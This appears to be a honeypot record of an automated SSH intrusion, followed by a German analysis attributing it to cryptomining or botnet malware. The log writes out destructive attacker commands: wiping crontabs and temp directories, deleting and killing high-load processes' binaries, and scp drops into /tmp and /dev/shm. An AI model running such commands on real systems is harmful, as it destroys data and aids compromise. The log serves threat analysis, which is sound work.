12.10.2026, 14:09 UTC · 49 Befehle · über ssh · Niederlande · 8× wiederholt
user='student' pass='support' student@srv01:~$ uname -m | awk '{printf $1}' x86_64 student@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' up 6 days, 00:00:00 student@srv01:~$ lspci | egrep VGA && lspci | grep 3D 0000:00:02.0 VGA compatible controller: Red Hat, Inc. Virtio GPU student@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7302P 16-Core Processor student@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. student@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found student@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found student@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 student@srv01:~$ uname -n | awk '{printf $1}' edge01 student@srv01:~$ uname -r | awk '{printf $1}' 5.10.0-23-amd64 student@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: cache: command not found student@srv01:~$ echo support > /tmp/d.log student@srv01:~$ scp -qt "/var/tmp/pgvAjvaC" student@srv01:~$ scp -qt "/tmp/pgvAjvaC" student@srv01:~$ scp -qt "/dev/shm/pgvAjvaC" student@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 student@srv01:~$ echo administrator > /tmp/d.log student@srv01:~$ scp -qt "/var/tmp/VZmXFRIl" student@srv01:~$ scp -qt "/tmp/VZmXFRIl" student@srv01:~$ scp -qt "/dev/shm/VZmXFRIl" student@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 student@srv01:~$ echo qwerty > /tmp/d.log student@srv01:~$ scp -qt "/var/tmp/HsFKyguI" student@srv01:~$ scp -qt "/tmp/HsFKyguI" student@srv01:~$ scp -qt "/dev/shm/HsFKyguI" student@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 student@srv01:~$ echo qwerty123 > /tmp/d.log student@srv01:~$ scp -qt "/var/tmp/WTYFZQfC" student@srv01:~$ scp -qt "/tmp/WTYFZQfC" student@srv01:~$ scp -qt "/dev/shm/WTYFZQfC" student@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 student@srv01:~$ echo esearch > /tmp/d.log student@srv01:~$ scp -qt "/var/tmp/ElmEMRCI" student@srv01:~$ scp -qt "/tmp/ElmEMRCI" student@srv01:~$ scp -qt "/dev/shm/ElmEMRCI" student@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 student@srv01:~$ scp -qt "/var/tmp/PvBUHjtP" student@srv01:~$ scp -qt "/tmp/PvBUHjtP" student@srv01:~$ scp -qt "/dev/shm/PvBUHjtP"
Ein Angreifer meldete sich über SSH mit schwachen Standardzugangsdaten an. Er führte zunächst eine detaillierte Systeminventur durch, um Hardwarekomponenten wie Prozessoren und Grafikkarten zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU- oder RAM-Auslastung. Danach versuchte er, mehrere Dateien über SCP in verschiedene temporäre Verzeichnisse zu übertragen.
Die Befehle uname, uptime und lspci sammeln Informationen über Kernel, Laufzeit und Hardware. Die Abfrage von nvidia-smi prüft auf NVIDIA-Grafikkarten, die für Mining relevant sind. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Dateien entfernt. Ein komplexer Shell-Loop identifiziert Prozesse mit hoher Auslastung und beendet diese gewaltsam. Die scp -qt Befehle kopieren Dateien in stille Modi in Verzeichnisse wie /tmp oder /dev/shm, um Spuren zu verwischen.
Das Ziel ist vermutlich die Installation von Schadsoftware, wahrscheinlich für Kryptomining oder als Botnet-Knoten. Die intensive Prüfung der Grafikkarten deutet auf Mining hin, während das Beenden ressourcenintensiver Prozesse Platz für die eigene Last schafft. Die wiederholten SCP-Übertragungen in verschiedene Verzeichnisse dienen der Persistenz oder dem Umgehen von Sicherheitskontrollen.
Dieses Muster ist typisch für automatisierte Botnet-Infektionen, die nach schwachen Passwörtern suchen. Die Kombination aus Hardware-Scan und Prozess-Kill ist ein Standardvorgehen für Mining-Malware.